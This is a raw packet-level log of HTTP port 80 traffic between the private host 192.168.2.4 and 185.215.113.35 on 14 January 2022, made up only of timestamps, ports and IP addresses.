Jan 14, 2022 12:30:14.455965996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456053019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456159115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456307888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456398964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456496954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456585884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456672907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456763029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456855059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.456938982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457031012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457125902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457225084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457314014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457403898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457490921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457585096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457673073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457762957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457855940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.457942963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458031893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458161116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458297968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458405018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458493948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458596945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458683968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458786011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458875895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.458975077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459062099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459163904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459250927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459352970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459443092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459542990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459635019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459738016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459821939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.459923029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460010052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460109949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460202932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460300922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460388899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460491896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460581064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460683107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460771084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460867882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.460958958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461060047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461162090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461272001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461361885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461464882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461558104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461662054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461755037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461859941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.461952925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462052107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462145090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462254047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462342024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462441921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462529898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462644100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462732077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462835073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.462924004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.463026047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.463133097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.463506937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.463622093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.463723898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.463821888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.463928938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464021921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464123964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464216948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464329004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464426994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464538097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464622021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464718103 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.464725971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464736938 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.464752913 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.464767933 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.464778900 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.464793921 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.464828014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.464936972 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.464997053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.465022087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.465107918 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.465125084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.465133905 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.465159893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.465435028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.465542078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.465641975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.465656042 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.465672016 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.467046976 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.467065096 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.467075109 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.467091084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.467190981 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.467209101 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.468920946 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.472362995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.472491026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.472590923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.472681046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.472790003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.472872019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.472896099 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.472980976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473011971 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.473028898 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.473038912 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.473081112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473180056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473270893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473371029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473468065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473561049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473658085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473758936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473846912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.473948956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474036932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474139929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474227905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474338055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474430084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474530935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474554062 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.474634886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474725008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474823952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.474917889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475016117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475105047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475338936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475436926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475538969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475627899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475725889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475819111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.475922108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476010084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476109028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476198912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476301908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476397038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476497889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476584911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476685047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476774931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476877928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.476969957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.477070093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.477159023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.477284908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.477369070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.490283012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.490499020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.490576029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.490674973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.490801096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.490880013 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.490951061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.491077900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.491142988 CET	80	49912	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.491225004 CET	49912	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.491285086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.491486073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.491579056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.491668940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.491785049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.491889000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.492002010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.492099047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.492223978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.492327929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.492459059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.492585897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.504594088 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.504623890 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.504745007 CET	80	49916	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.505727053 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.505795956 CET	49916	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.506566048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.506747961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.506866932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.506942987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.507031918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.507180929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.507275105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.507456064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.507613897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.507771015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.507921934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508016109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508105993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508259058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508347988 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.508354902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508459091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508567095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508675098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508797884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.508878946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509042025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509046078 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.509073973 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.509095907 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.509243965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509260893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509337902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509430885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509532928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509644032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509742975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509834051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509946108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.509952068 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.509980917 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.510047913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.510155916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.510226011 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.510247946 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.514687061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.514822006 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.514847994 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.514872074 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.514966011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.515197992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.515227079 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.515259981 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.515286922 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.515311003 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.515630007 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.515656948 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.515677929 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.515974045 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.516829014 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.516853094 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.516874075 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.517425060 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.517450094 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.517469883 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.517940044 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.517963886 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.520551920 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521053076 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521075964 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521265030 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521286964 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521308899 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521476030 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521498919 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521519899 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521948099 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.521970034 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.522439957 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.522464991 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.522485971 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.522562027 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.522634983 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.522931099 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.522953987 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.523591042 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.523617983 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.523647070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.524159908 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.524184942 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.524211884 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.524240017 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.524513006 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.524610996 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.524637938 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.524724007 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.529218912 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.529773951 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.529809952 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.529839039 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.529901028 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.529906988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.529944897 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.530376911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.530616045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.530750990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.530890942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.530935049 CET	49916	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531033039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531138897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531225920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531323910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531415939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531512022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531609058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531706095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531794071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531889915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.531980038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532077074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532169104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532264948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532355070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532460928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532541990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532639980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532726049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532826900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.532915115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533014059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533098936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533201933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533291101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533390045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533476114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533575058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533658981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533757925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533842087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.533942938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534029961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534130096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534224033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534317970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534403086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534507990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534605026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.534812927 CET	49914	80	192.168.2.4	185.215.113.35
